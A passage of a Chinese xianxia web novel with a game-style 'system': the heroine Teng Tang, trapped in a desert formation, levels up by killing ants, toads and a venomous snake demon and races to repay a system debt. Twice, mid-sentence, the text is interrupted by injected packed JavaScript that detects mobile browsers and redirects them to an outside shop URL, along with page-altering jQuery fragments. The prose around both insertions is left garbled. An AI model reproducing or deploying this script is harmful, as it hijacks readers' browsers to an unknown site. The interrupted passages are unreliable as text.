外观类商品虽然不能增加战斗力,但买来这么一用,还是很值的。滕棠淋着雨,心情好受些,摸了摸腰间的鳞片,信心重振,往沙漠某方向走去。 这里没有风、没有路标,只有黄沙和火焰。 死门内的灵气非常稀少,滕棠边行边修习心法,走得漫无目的。 修仙者,主要靠灵气而活,要不入俗,靠食物和水存活。这里又没吃的喝的,灵气稀薄,换做其他炼气期修者,恐怕活不了多久,但滕棠有系统灵力条,倒是不担心灵力的匮乏。 在黑焰沙漠里走着走着,滕棠忽然后悔买乌云头饰了,她应该买那个背篓,至少还有荷叶荷花、锦鲤作伴,使得日子没那么枯燥…… 她疲惫不已地在沙漠中行走,完全打不起精神来修行,一度想放弃。 对于时间的把握,完全是依据系统每日准时的签到提示。 算下来,她已经在这里待二十多天了…… 换做旁人,可能已经疯了或者干了。 乌云一刻不停地给滕棠浇水,缓解她的热意和干渴。滕棠走得愈发迷茫,回头望,一长串脚印在身后,近一点的还留了些润色的水迹。 她走了这么久,应该没有走过重复的路,这儿不兴风,黄沙上走的脚印很难全部消失。可这二十来天,她什么东西都没找到。凌云把这叫死门,难道我要死在这里,再也出不去了? 滕棠绝望之余,又心怀希冀,她再等几天便能花剩下三百灵石,买一张强制召唤卡,试着把出窍期的那位强者找出来。 不管结果如何,对方杀不了自己。既然在这里结的契,说不准对方很熟悉此地。 滕棠就这么强熬,拖着乏力虚弱的身体,能走一步是一步,发现周围的环境越来越热,几乎快把她头顶上的乌云烧没。 修行上,精力不佳,她难以继续。 在六天后,滕棠快热晕之际,终于听到系统的签到提示。她昏昏沉沉地打开商城,把刷新后的强制召唤卡买下,点击第三个问号方框,把那位叫杀浮的强者召出。 [您对伙伴杀浮使用了强制召唤卡,因伙伴状态原因,限时1分钟。] ??? 滕棠昏沉的脑袋,在听到这个提示后,差点被气晕过去。召唤岑羽时,再不济也有三十分钟,怎么到杀浮这里,只有1分钟! 周围的火热太过热烈,导致身体很不舒服,滕棠睁不开眼,她中暑一般,昏倒在滚烫的黄沙上。 滕棠在沙子里苟延残喘,恍惚中,她觉得头顶的乌云灰色深了些,有个人站在她面前,俯身查探她的情况,近一点,还能闻到熟悉的清泉寒气。 可惜滕棠莫名没撑住,眼皮一阖,直接就不省人事了。 在黑暗中无意识了不知许久,滕棠逐渐沉浸入梦乡,做起一个梦来。她梦到自己温贤淑德地替龙傲天打理衣物,柔柔弱弱地攀着龙傲天的手臂道:“我怨龙哥哥太过多情,比无情之人还令我伤心。” 龙傲天拉下她的手,交握住,安慰道:“此生情缘太多,我也无奈,下辈子一定与你一生一世一双人。” 后面一转,滕棠飘在空中变成孤魂野鬼,夜里思念龙傲天去找他,却听对方与另一女子耳鬓厮磨:“滕棠是我儿时玩伴,我对她并未生情意,罗儿别吃醋了。” 然后眼睁睁地,她看到龙傲天和一群美艳多姿的仙子结伴而行,笑声爽朗,早把她这个已逝之人抛之脑后,同其余女子结道升仙。 “原来这就是我的命……” 空灵的声音在滕棠脑海响起,她的视野和那位柔弱清美的女子分开。 对方浑身冒死气,从自己身体里走出去,背对着她越行越远:“我这副废柴之躯,你想要便拿去吧,我已是亡魂,早该投胎去。” 等滕棠睁开眼,只觉浑身一轻,四肢五官用着皆顺畅了不少,脑子里原主的记忆消失,无法再读此人的生前经历。 她撑起身,发现自己还躺在黄沙上,唯独不同的是,身后多了一根柱子,顶端刻着明月玉团。 头顶上的乌云还在,淅沥沥打湿她衣裳,周围的火焰没有那么炙热了。 站起身,滕棠看到地上有一串字,比较浅,有些难辨:阵心所在,内寻出路,切记物欲迷心,取宝反被困在其中。 29. 第 29 章 滕棠默念一遍,记在心头,由于看不到那人在何处,便对空气深深鞠了一躬,道声谢。随后,她走近那根顶着白珠的石柱,心有所动,抬手放在明珠表面。 周遭的黑色火焰仍在熊熊燃烧,灼烤着金黄的沙子。滕棠足下失重,低头一看,双脚被沙子掩埋,阵心柱子正在往下沉。 她提了下脚,发现抬不起来,流沙速度很快,转眼就把她和柱子一块埋了半边。滕棠抱着柱子,暗忖,杀浮应该知晓生死契的存在,不会害她吧? 没过一会儿,沙子到脖子处,她闭上眼睛,屏住呼吸,尽量使自己冷静下来。 两分钟后,第三死门内的黄沙恢复寂静,那根柱子换了个地方重新立起来,滕棠消失的地方无影无迹。 进入流沙片刻,滕棠察觉能呼吸了,睁开眼,入目是片尸横遍野的荒地。 她立刻拿出大刀,警惕地望向四周。这里面虽灵气浓郁,但凶兽肆行,她处在一个巨坑内,象妖的肋骨把她包在中央。 [温馨提示,您当前地图怪物等级过高,请提升等级后再来尝试。] 隐隐约约从很远处传来狼叫,偶尔还有豺狼虎豹等争斗的叫声。滕棠走出象骨,小心翼翼地攀上土坑壁,往外探出半边脑袋。 这一瞧把她吓得不轻,巨坑远处一片红色标识,凶兽众多,等级都不低,有二十来级,随便一只,都能把她啃得骨头都不剩。 滕棠庆幸自己的位置比较隐蔽,连忙收起乌云头饰,浑身湿漉漉地滑回黑压压的坑内,趴在一根巨骨侧边歇息。 坐骑无法使用,背包里的灵石药品没了,以她现在的实力想要在这里存活恐怕很难。杀浮让她在这里找出路,可外面灰黄的荒地上到处是金丹实力的妖兽,行走艰难。 滕棠忽然觉得脚疼,低头瞧去,发现自己的脚踝被几只蚂蚁啃食,鲜血流出。她吃痛地咬住唇,用灵力封住伤口,不敢让血味飘出去。 蚂蚁等级只有5级,但数量庞大,从三步外的洞口源源不断地爬出来,看那土包之高,怕是有上千只。 [斩杀5级蚁精,经验值+99999] [掉落物品:蚁精的毒液×1、蚁精妖核×1] 滕棠静悄悄地拍死几只,略微喘气,忽而灵机一动,她那九色猫现在拿出来用岂不合适? 外面白昼灿亮,此处又有土坑和象骨遮挡,只要没妖兽前来,她的猫发个光,不易引起外面的注意。 滕棠为避免浪费时间,忙把猫放出来,一边挡住闪烁的彩光,一边清理蚂蚁。 5级的蚂蚁不好对付,她的猫还是0级,必须由她先带着升级,才能在之后独自应付。 滕棠接二连三地踩死蚂蚁,灵力渐渐耗尽。她擦干净汗,看着源源不断爬出来的蚂蚁,头皮发麻。 [斩杀5级蚁精,……] 蚁妖已视她为仇敌,越来越多从洞穴内爬出来,让她疲于应对。 所幸灵宠前期升级快,吃了二十几只便升为6级,滕棠喘气退到后边休息,换灵猫上阵,将爬过来的蚂蚁舔入腹中。 灵宠没有体力限制,只有血条,她必须在灵猫血条掉完前,把体力恢复好。这时她真想感谢这些蚂蚁,若不是它们灵智低下,排着队列咬来,她还没机会休息。 她看了下自己的角色等级,离下一级还需要踩死六十来只蚂蚁……刚刚费那么大力气,才二十六只。 滕棠深呼吸一口,抓紧时间吸纳灵气。如今她在炼气三层的门槛,只差一脚迈过去,但坏在这儿不是冲层的好地方,灵气的波动会引妖兽前来,危险重重。 她只能压制住乱窜的灵力,一点点地化为己用,再通过飞刀挥使出去。 时间一分一秒地过去,她耗得越久越有生命危险。滕棠看九色猫血条见底,当即招到一边回复,自己上前和蚁精互相伤害。 方才修复一半的脚,再次被咬得皮开肉绽。滕棠用大刀推阻那边的蚂蚁大军,飞刀偶尔划过去,打出群体伤害,面前的则用双脚狠踩。 一只、两只……她汗流浃背地斩杀蚁精,没有刚才得心应手。蚂蚁的数量一旦多起来,任它们速度再慢,滕棠也招架不住。 况且她不能发出声音,连呼吸都控制着,以免被外面的妖兽听见。5级的她,对付一群5级的蚂蚁,已经快到极限。 这次她多撑了一会儿,一共斩杀四十一只蚁精,离升级还差二十只。九色猫已经恢复大半血条,滕棠再也站不住,在脑中下命令,让灵宠过来打怪。在她的帮助下,九色猫已经涨到了7级,现在对付这群蚂蚁应该轻松些。 她拖着两只鲜血如注的脚,一屁股坐在空地上,等着灵猫给自己增加经验。只要再吃二十只,她便能升到6级。 升级会恢复她全身状态,到时她再来继续刷怪,这一窝蚂蚁应该能让自己升到7级。 所谓计划赶不上变化,她原本是打算先修行,再升级赚钱,眼下只能把筑基驻颜的任务放放,先在这炼狱死门内,把等级提升起来要紧。无论如何,活着更重要,拳头更重要。 滕棠听着系统接连不断的提示声:[斩杀5级蚁精,经验值+999……],心情稍微好点。经验条在不断上涨,快要到最右边的尾巴。 同时,九色猫的经验条也在动。灵宠前期升级快,后期升级费力,现在替她省了不少事。她越看越觉得这猫顺眼,闪闪亮亮的,多酷炫。 [恭喜玩家升至6级!] [获得升级奖励:+200中品灵石。] …… 几道机械的系统声之后,滕棠身上的伤口复原,重回满血满灵力状态。她精神倍加地站起来,眼中光芒迸发,点开财富栏,那股高兴劲又萎靡下去。 原以为能凑个300中品灵石,躲些时日把杀浮召过来,询问有没有出去的方法,却忘了系统隔段时间会扣掉她一部分灵石作为运营费。本就不多的灵石一栏,现在变成个位数,穷得连商城最便宜的东西都买不起。 滕棠深深叹声气,为财所困,含住这口气,御使两把飞刀朝蚂蚁军打过去。 如今,只有努力打怪升级,才有希望离开此地。 一人一猫或轮流作战,或是一起踩蚂蚁,时间不知不觉过去许久。约莫第十天傍晚,滕棠和她的九色猫终于把蚂蚁清理得差不多,她人升到7级,猫升到9级。 这巨土坑位置偏僻,她们动作轻巧,暂时还未被妖兽发现。 等级提升至此,往后愈发艰难,滕棠惆怅地踩死完最后一只蚂蚁,把它们的土堆都掀翻了,也没能再找出一只。 出去?外面都是二十级以上的,她和灵宠出去就是给妖兽加餐。 滕棠苦恼地待在土坑洞内,靠着白色的骨头发呆。九色猫乖巧地待在她身边,因被关闭了互动功能,不会叫也不会动,跟玩具猫一样,没有生气。 就这么被困在坑内四五天,滕棠的灵力抑制不住地要破层,冲至炼气三层。可条件不允许,被她生生压制下来,弄得内腑灵气紊乱,胀痛不已。 过了六天,上方的狼叫异常清晰,跑动声由远及近。滕棠吓了一跳,连忙把九色猫收回,自己则躲进象骨之中,努力缩小存在感。所幸象妖死后的气息较重,那些狼妖经过此处,仅是扫了一眼,便跟着狼王离开。 滕棠谨慎地等了许久,直到上方确实没动静后,才慢慢爬出来。 垂头丧气地坐在一团枯草上,她放出九色猫,摸摸其柔软的毛,四处打量。 这一瞧,就看到一边土墙内,隐约有绿色标识。她眯起眼睛,把九色猫抱远了些,发现标识很小,约指甲大点字,写着[3级]。 滕棠放下心来,悄悄靠近,让九色猫前去刨土。 挖出来的是条3级虫子,形似蚯蚓,旁边有几只没有等级的,应该没生灵核。滕棠为了增加经验,忍着恶心,把虫子碾死。 这点经验值杯水车薪,想升8级,碾死上万只都不够。滕棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032688|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡起一根断骨,刨动软土,思索着,既然不敢上去和妖兽厮杀,不如打洞看看,有什么低等级的怪供她和灵猫涨经验。 虫子的等级普遍更低,在地底打洞比上去安全得多。且若凿出合适的空间,冲层级也更加安全。 滕棠这么想着,便这么做了。她左右两把飞刀开弓,前有九色猫开路,后有半米厚刀推土,分工明细。打洞速度虽慢,却比待在原地等死要好。 庆幸土软,一天能凿出几米深度。滕棠祈祷着别惊动大怪,多来点小怪刷经验。 挖洞是个辛苦的力气活,在几周之后,她把外面的土坑填满一半,自己在洞口画了一个极其简单的阵,坐在里面抓紧时间修行。 盘坐前,她想起当初凌云还是鳞片时,在她身上吸收灵气,于是把手伸进储物袋内摸索。然而她把储物袋翻了个遍,也没找到岑羽的鳞片。 她心下一惊,生怕自己不小心把岑羽弄丢,接连点击[召唤伙伴]。 [伙伴状态异常,暂时无法召唤。] 看伙伴栏,岑羽还在,只是等级未见提升,仍是[0级]。照理说,如果伙伴在范围内,是可以赠加其经验值的。如果不能,则表明对方离她有一定距离…… 滕棠很怕自己把岑羽弄丢在黄沙之中,懊悔得静不下心修行。 一炷香过去,全身都翻个干净也没看到鳞片,她只能安慰自己,兴许跟强制召唤有关,万一对方又被送回去了呢?就和杀浮一样,仅出现一会儿,就再也找不到人。 “等我出去换点灵石,买强制召唤卡,再召你试试。”滕棠对着第一个问号框,自言自语道。 当务之急,应该早点从这鬼地方出去。她杀这些妖兽精怪,通过升级获取的那点灵石,太少了,只够喂饱系统不倒闭。 在第三死门阵心内,白驹过隙,转眼过了三个月,滕棠一边杀虫一边挖洞,顺带着挤海绵似的,找时间修行,如今已是炼气三层外加9级。 想去地面和凶兽斗,还差个十万八千里。 她算了下自己这样子的进度,升到20级得用五年时间……天天像地鼠一样住在洞穴之中,是个人都受不了。 打定主意,滕棠第一次往上挖。冒着被发现的风险,她离地面越来越近,直到能透过泥层隐约看到等级标识时停下。 她专挑标识少的和等级低的地带歇伏,等着某一只倒霉怪路过她头顶,被她拉下来乱宰一通。 这么做有一定风险,滕棠必须保持警惕,且要把这附近的地都打通,方便知晓上方有多少只怪。 黑暗的环境中,九色猫一闪一闪的,照得整个地道很有气氛,令人禁不住原地蹦迪。 滕棠看了三个月,眼睛早就麻木。她仰着头,一边修行,一边观察上方的妖兽等级,决定守株待兔。 或许是她运气好,这片地区多阴蟾蜍,以灵草灵虫为食,皮有剧毒,很多妖兽不会吃,致使这儿少有凶兽前来觅食。 阴蟾蜍的毒素很强,背部疙瘩无数,长得丑陋。滕棠斩杀它时,总是让九色猫更多出力,她实在难以下手。 在这片枯黄的灵草地之下,滕棠又待了一个多月,像地鼠似的,把这片地开出无数个孔,斩了约莫近百只十几级的阴蟾蜍,最终等级升到10级。 尝到快速升级的甜头,她又开始盘算去哪里挖地道,能杀到等级更高的怪。阴蟾蜍的数量过于稀少,这几日都找不到一只。以她和九色猫的实力,围剿15级的怪最稳妥。 嘶嘶—— 黑暗中,蛇鸣拉响滕棠的警铃。 九色猫自动趴伏在前,拱起脊背,毛发竖起,对蛇妖作出恐吓的姿势。 一条棕黑色的蛇立起头,朝滕棠和九色猫不断嘶叫,毒牙射出的毒液两丈远。洒落在滕棠腿上,立刻腐蚀掉她的衣服和皮肤。九色猫动作矫捷,未被毒液溅到。 滕棠一看它等级,心脏停滞,20级!五个多月的好运气,在这儿突然中断。 30. 第 30 章 [温馨提示,您正在越级挑战20级蛇怪,购买使用高级装备,可打出更高伤害。’点击购买’] 这是我想挑战的吗?难道不是怪想吃我。滕棠接连叉掉几个提示,一瘸一拐地往后退。 这条蛇妖看起来还未成年,毒液却十分厉害。滕棠的腿上腐黑了一大片,毒素还在不断侵入,往她骨头里钻。 背包里上次买的中级解毒丹,还剩两粒,滕棠服下一颗。咬紧牙关,狠心把沾毒的烂肉削掉,再服用回血丹疗伤。 好痛!腿上血流不止,滕棠命九色猫防御毒蛇的攻击,自身靠在后方洞壁治腿。 20级妖魔造成的伤害,果然厉害,每日签到送的初级回血丹已经不够用,服一颗只治好了十分之一。 所幸她在这妖兽横行的阵心内存活得够久,背包里屯了一百六十余枚,暂时能让伤势痊愈。 一条20级的剧毒蛇妖,比大多数精怪都难对付,一来其毒液让人避之不及,二来蛇妖速度极快,很难逃掉。 这附近多阴蟾蜍,指不定蛇妖是过来觅食的,在地洞内和她来了个偶遇。 滕棠御使飞刀杀去,不敢靠近它。九色猫动作没有蛇妖快,身上已经挂彩,血条哗哗地掉,看样子撑不了太久。 筑基往后的每层实力差距,皆是条鸿沟,九色猫12级,她角色10级外加炼气三层,能取胜的希望渺茫。 唯一安心的点在于,蛇妖灵力颜色只有两种,一绿一褐,且褐色甚少,土灵根不强。相同等级下,少灵根比多灵根的灵力更薄弱。 用刮痧技法试试,滕棠当机立断,横起长刀挡掉喷射过来的毒液,让两把飞刀旋过去刮痧。她的伤害太低,只能像之前打朱牧隶一样,保住自身的同时,一点点把对方刮死。 “颤抖吧!我的刀无人能敌!暗影流光!” 奈何蛇妖比朱牧隶强太多了,外加种族优势,左右晃头,轻而易举躲过飞刀的伤害。它嘶嘶长鸣,不断喷出毒液,让九色猫的血不断往下掉。 果真是天下武功,唯快不破。滕棠额上汗流成河,与蛇妖对峙半晌,她的猫快挂掉,反观蛇妖,仍是浑身光滑棕亮,一点刀爪都没挨到。 敏捷值差距太大,滕棠无奈让快死的九色猫退到自己身后,自己在前提刀抵挡,若猫死了,她会失去光源,什么也看不见。 打不过,逃为上策。 地洞的环境本就限制了她的行动。狭窄的空间内,她不断后退,几个月没晒太阳的脸白得吓人。在猫儿九种颜色的闪烁下,气氛惊心动魄,从地道一端到另一端,蛇妖紧紧追上来,嘶嘶声在洞内回响。 滕棠多希望它别再追自己,但蛇妖灵智低下,不通人性,任她怎么退避,蛇妖仍不断攻击她。 九色猫的光太过闪烁,有几次变动到紫蓝色时,滕棠看不太清,被蛇毒溅到手臂。 一枚中级解毒丹足够应付毒素,但有30分钟时限,且毒素清除了,还有伤口在,必须用初级回血丹修复。 同时,刀的耐久度也在往下掉,需要灵石恢复。滕棠现下最缺的就是灵石,看着空空如也的财富栏,头疼不已。 她御使的飞刀速度过低,操作不灵活,根本没办法伤到蛇妖。手中的大刀迟笨,虽能挡几下蛇毒,可撑不住对方的尾鞭。 渐渐地,滕棠退回到地下深处,身后的地洞空间变小,行动上困难度更大了。她眼球颤动着,绞尽脑汁想对策。蛇妖动作太过灵活,毒牙凶狠,这么退下去,吃亏的是自己。 解毒丹的时间马上结束,滕棠不得已把瓶子内最后一颗吞下,紧张地躲开毒液侵蚀。 如何能伤它……耗下去对自己十分不利。 滕棠一边思考着,一边点击背包内储存的初级回血丹。原本一百六十余枚,现在只剩五十枚。 攥紧刀柄,滕棠眸光抖动,在蛇妖离她越来越近,试图咬她时,她忽而想起自己识海中的那丝精神力。 当初鹿焰宗举行外门新人大比,她就是用那丝精神力度过险关。只是……动用精神力很费神,若过度消耗,她容易陷入昏迷状态。 是生是死,全在一念之间,如果她不试试,等待她的大概率是死在这冰冷黑暗的地下。全力拼上一把,倒有生还的可能。 此时只能赌一把了。 横刀竖起,滕棠侧开半边身体,让九色猫跳上洞壁,朝蛇妖张口咬去。同时飞刀游走在蛇周围,呈圈状环绕。她疾步上前,阻挡着哧哧毒液,双目爬满血丝,将那丝精神力控制着,飞向蛇头。 九色猫的血条并没有恢复多少,它压制住蛇头后,被毒牙刺穿喉咙,弱弱地喵叫一声,嘭一声,散成小小云朵,转眼消失得无影无踪。 [提醒玩家,您的灵宠已阵亡,复活需要‘灵宠复活丹’,点击购买。(提示:灵宠复活丹,每月限购一颗)] [你已身负重伤,快快使用中级丹药,治疗伤势。‘点击购买’] 滕棠甩甩头,把提示叉掉,在黑暗中摸索蛇妖的方位。炼气期的五感仅比凡人强些,在这伸手不见五指的地下,同样什么都看不清。 九色猫消失时,她那丝精神力让蛇妖瘫软在地,不知效果能持续多久,必须赶快补刀。 洞壁到处都是蛇毒,滕棠摸索时,被伤到几次。她用飞刀到处划动,手里的大刀一下一下往前砍,通过看空中偶尔冒出的伤害值,来判断蛇妖的方位。 中级解毒丹效果快结束了,得速战速决。滕棠举起大刀,往红色伤害的方向,狠狠往下砍。 “颤抖吧!我的刀无人能敌!暗影流光!” 吭——,黑暗中响起一声闷响。 滕棠意识到不对,她这刀砍下去,明明是陷进了泥土内。借着衣服和饰物的流动弱光,滕棠警惕地睁着眼睛瞧去,那里确实什么都没有。 她提了口气,身体不由自主地挡向右边,果然,那条蛇妖已经能动弹了,此时正摇摇摆摆地咬她。 蛇妖明显被她精神力影响到,攻击速度变慢,且嘶叫声嘈杂无序。它狂躁不安地乱咬,毒液噗呲,像花洒一样,淋在滕棠身上,腐蚀掉她的衣服皮肤。 背包里的回血丹设置的自动使用,系统开始提醒她:[自动消耗回血丹进行治疗中……] [回血丹数量不足,请尽快补充。] 不能死。 滕棠扫了一眼解毒丹时效,还剩2分钟。她咬咬牙,忍住剧痛,刀刀疯狂砸去,万幸砍中了它的尾巴。 那丝精神力不够强,蛇妖意识仅是有些混乱,其攻击的意图不减,张口便朝滕棠的脸咬去。 滕棠吃痛地徒手抓住它的头,生死之时,脑海中费力凝结出第二丝精神力,直直飞进蛇妖的脑袋。 滕棠两眼发黑,这会儿连身子站不稳,她在晕过去之际,脑中只有一个想法,杀了这条蛇。 掰开蛇嘴,滕棠抖着手,将两把飞刀塞进它嘴中,随后倒在地上不省人事。 黑暗的地下,血腥气味浓重,毒液浸透泥土,20级蛇妖的气息在这片区域蔓延,使得虫怪飞速逃窜。 一场厮杀暂时结束。 滕棠面朝地倒下,呼吸微弱,身上到处都是伤,脸颊被毒牙咬得发黑。在她身上缠绕着一条棕色的蛇,蛇口大张,衔着两把飞刀,尾巴遭一把大刀嵌伤。 幽冥无光的洞内,飘过一串串半透明的红色数字,[-99999……][-10]……,偶尔闪过两次绿色的饮血回补数值——[+555]。 蛇妖神识溃乱一团,头颅和尾巴正在被滕棠的武器伤害,它偶尔动弹几下,都不能控制蛇身。 而昏迷不醒的滕棠,浑身是血,灵气被她一点点吸入体内,同系统提供的灵力一起修复伤势。 得益于蛇妖等级较高,那些靠[饮血]效果反哺的数值,隔三差五涌进她体内,对滕棠来说,乃雪中送炭。流走的血越来越少,过了一盏茶后,恰好和补充的血值持平。 蛇妖被攻击的意识渐渐聚拢,它弹起头,复又重重垂下。口中两把飞刀和尾部的大刀不断刷走它的鲜血,致使它虚弱无力。 即使意识有些回笼,蛇身已没力气动弹。 嘶——,蛇妖垂死挣扎地晃动头部,然而那两把飞刀卡得深,没办法吐出去。 过了一炷香后,蛇目无光,三把武器再也刷不出伤害值。 洞内变得死寂。 只有滕棠的脑海中响起机械的声音:[斩杀20级蛇怪,经验值+66666……] [掉落物品:蟾蛇怪的毒液×1、蟾蛇怪的毒牙×2、蟾蛇怪妖核×1] [恭喜玩家升至11级!] [获得升级奖励:+2000中品灵石。] [成功开放一个伙伴位。] [正在结契] [结契成功] [已达上限!(选项)查看详情不再提示] 地上躺倒的人,仅吊着一口气。滕棠不知,如果意志力不够强烈,晕倒前没忍痛把两把飞刀塞进蛇嘴,现在她便是蛇怪的晚餐。 安静的地洞内一点声音都没有,潮湿的土壤偶尔滴答灵水,在凹陷处积聚成水洼。 滕棠躺在阴寒的洞内,升完级,她的身体已经修复完全,自动刷新成巅峰状态。但是系统能恢复她的体力,并不能修补她受损的神识。 识海内,一团漫无目的魂气,呈灰蒙色,一天、两天……逐渐变成漩涡,吞噬着中央那点明光。 [警告,系统正在遭受攻击,自动花费18000中品灵石修复。] [安装包下载完成,正在更新……]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032689|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两道机械声后,灰蒙气体逐渐凝实。滕棠识海中央,一切安静下来。 [警告!系统欠债:-16968中品灵石,无法维持游戏运营。热血岁月即将倒闭关服,倒计时一个月!] 等滕棠悠悠醒来时,这些声音已经消失好一会儿。 她睁开眼,揉着阵阵作痛的头。 “我竟然还活着,运气真好。”感叹一声,她翻过身,抹干净口鼻的泥土,急促地喘气呼吸。 身上的衣物微光流动,她解开缠在腿上的蛇尾,转头朝大刀光影看去,那条蛇应该是死了,灵气正在从蛇肉中逃逸。 滕棠爬过去,发现系统已经帮她收了毒牙和妖核。 咕咕——,肚子叫了两声,她好饿。 俗话说大难不死必有后福,不知她此次侥幸活下来,有没有可能从这里离开。滕棠右手催动火灵根,扔出一团火把蛇烤熟,坐到旁边开啃。 这几个月吃灵草根吃得烦腻,头一次吃肉,滕棠感动得泪流满面。 灵兽的肉果然大补,吃进肚子里,停滞不前的炼气三层略有长进。她当即盘坐在地,开始吸收那股灵气,冲破淤塞,化入经脉灵根之中。 一个大周天结束,滕棠吐出浊气,点开系统查看自己的信息。 不愧是拼死斩杀的20级蛇怪,就这么一条双灵根的,她的等级快破12级,约莫抓两只阴蟾蜍便能升级。 随后她退出个人信息,眼睛扫到右上角的财富栏……这一看不得了,她眨眨眼睛,以为自己看岔。 财富栏显示的-16768让她心脏一滞,忙点开历史通知消息,注意力在最后一条定住。 一条一条地往上读,滕棠眼泪哗哗地掉。 攻击从哪里而来?莫不是系统想坑她。最近运营所需的灵石越来越多了,一万七的中品灵石,她在这阵心内,上哪儿凑去。 但若没有系统在,她那接近12级的实力便使不出来,光靠炼气三层,在这里能活下去的机会渺茫。 滕棠一时六神无主,点了点那糊里糊涂结契的分神期伙伴,果不然收到提示:[伙伴万象状态异常,暂时无法召唤。] 九色猫没钱买复活灵丹,伙伴也没钱买强制召唤卡,系统需要的灵石必须在一个月内补齐,这可真难为她了。 滕棠恶狠狠地咬了口蛇肉,冥思苦索怎么赚钱为妙。 无非是开源节流,眼下节流没戏,开源的来路只有系统奖励。然而游戏最近的活动,都是和人pk,这鬼地方只有妖兽,哪里有人。 滕棠把剩下吃不完的打包进储物袋,站起身时眼眸闪动,一个想法飞逝而过。 她点开系统历史通知,盯着升级奖励瞧,10级奖励的1000中品灵石,11级2000中品灵石,如果每升一级多1000,这么算的话,一万七千,她需要升到15级。 一个月内升到15级……滕棠苦笑,她要斩杀多少只□□,何况这儿没那么多阴蟾蜍给她刷。 只能换地图拼老命了。 滕棠叹气一声,没有九色猫后,视线行动多有不便。她从狭窄的洞穴口挤出去,在枯黄的灵草遮掩下,小心翼翼地往前爬。 来到地面,久违的白昼刺眼,滕棠随时盯着附近看有没有等级标识,以免遇上高等级妖兽。这阵心域内妖兽数量这般密集,莫非面积不大?她暗自猜测。 草地对面是群灵鹿,低头嚼食杂草,等级在19级上下。它们耳朵竖起,对后边的狼群常备不懈。 滕棠左右查探,像乌龟一样爬向一棵巨大的树。那树上栖息着鸟妖,大多数都没等级,少有能吸纳灵气的。 收敛气息,滕棠缓慢地接近树干。 在她快爬上大树时,灵鹿呦叫,回头一看,是那群狼在围追小鹿。趁此机会,滕棠连忙手持飞刀,一寸一寸扎进树内,往上攀。 借着灵气助力,她三两下上了树冠,在茂密的枝叶中,往远方望去。几里之外,狼群已经捕获小鹿,围在一起撕咬。 滕棠收回视线,一巴掌扇死啄她头发的低级鸟妖,向四面张望。 这片地域确实不广袤,四四方方的,边缘是排树作分界线,中间是枯草地。她恰好处在边缘地带,能望到另一边的尽头,对角线的那里有片水域,密密麻麻的一片绿色标识,离自己最远。 在整个阵心区域中央,好像有一根柱子。 滕棠眯起眼睛,看了许久,觉得那柱子很像黄沙上看见的那根,可惜离得太远,看不清晰。 如果要离开这里,或许在中心地带才能找到答案。 滕棠观察着地形和各区域的妖兽,发现越往中心,等级越高,她边缘这里多是19级的,往里面是已结金丹的豹妖,再往内是25级的狮虎,最中心零星几个绿色标识辨不清。 31. 第 31 章 11级的她对付一只19级的妖兽,尚且困难,对付一群,简直是异想天开。 滕棠掂了下手中的大刀,心生惆怅,有刀在身却拔不出去,下去打近身战和送人头无异。 她把大刀收起,把副武器小飞刀放在手上,挠头思索,想起蛇妖的毒液攻击。那时她隔着一定距离,砍不出伤害,气得牙痒痒。 飞刀的基础伤害和大刀是一样的,且被她升级为[饮血]后,伤害值更高,唯独难在操作上,需要对灵力有极其精湛的把控度,御使飞刀在空中游走。 一个月的时间……滕棠盯着那边围捕鹿群的狼,握紧弯刀短柄,心中产生一个计划。 她仔细在脑海里过了一遍,觉得可行,于是开始练习飞刀的使用。系统的灵力条被她一次次抽出来用完,她躲在树冠中,反反复复地操作弯刀在外面飞。 两把弯刀拼在一起,形似鸟妖,倒是没引起其他妖兽的注意。 练习的过程无疑是枯燥乏味的,滕棠凝起精神,不浪费一分一秒,时刻操作着飞刀上下左右,像鸟儿一样自由自在地在天空翱翔。 一日不行就两日,两日不行就三日。这般乏味疲惫地过了五日,在刻苦的练习下,滕棠对弯刀的操纵熟练不少,最多能飞至虎豹的区域,御使起来和鸟儿飞翔差不多,很是丝滑顺畅。 她发现,自己越专注做一件事,坚持得越久,识海内的那丝精神力便会凝实一点,虽然不多,胜在有精进。 滕棠心有所悟,隐约摸到如何修炼精神力的法门。不过眼下不是好时候,系统的缺漏等不得,她需要优先把等级提上去,再谈其他的。 蹲在枝繁叶茂的树冠中央,滕棠不知第几次扇死啄她耳目的低级鸟妖,听到叮的一声。 [恭喜玩家升至12级!] [获得升级奖励:+3000中品灵石。] [警告!系统欠债:-13968中品灵石,无法维持游戏运营。热血岁月即将倒闭关服,倒计时23天5小时!] 果然奖励这么多,她信心大振,御使着两把飞刀往远边飞去。 所处位置最是偏僻,少有妖兽,她在这树上还算安全。可惜离那边鹿群狼群有一定距离,需要耗费大量的灵力,才能让飞刀进入19级妖兽的活动区域。 而距离越远,操纵的难度越大。 眺望向那片鹿狼相争的草地,滕棠瞄准等级稍低的13级小鹿,嘴里叹道:“物竞天择,适者生存……”两手不断变换,那边飞刀也跟着往下落。 小鹿处在鹿群中间,左右空间不大,在飞刀刮过时,它跳跃不出去。何况前有虎后有狼,没有广袤的草地逃,来来去去只有这片地方。 鹿群发现这只铁鸟的不对劲,渐渐散开。滕棠只有12级,也拦不住它们,只能对准13级的小鹿妖刀刀刮痧,在两个时辰后听到提示。 [斩杀13级鹿妖,经验值+7777……] 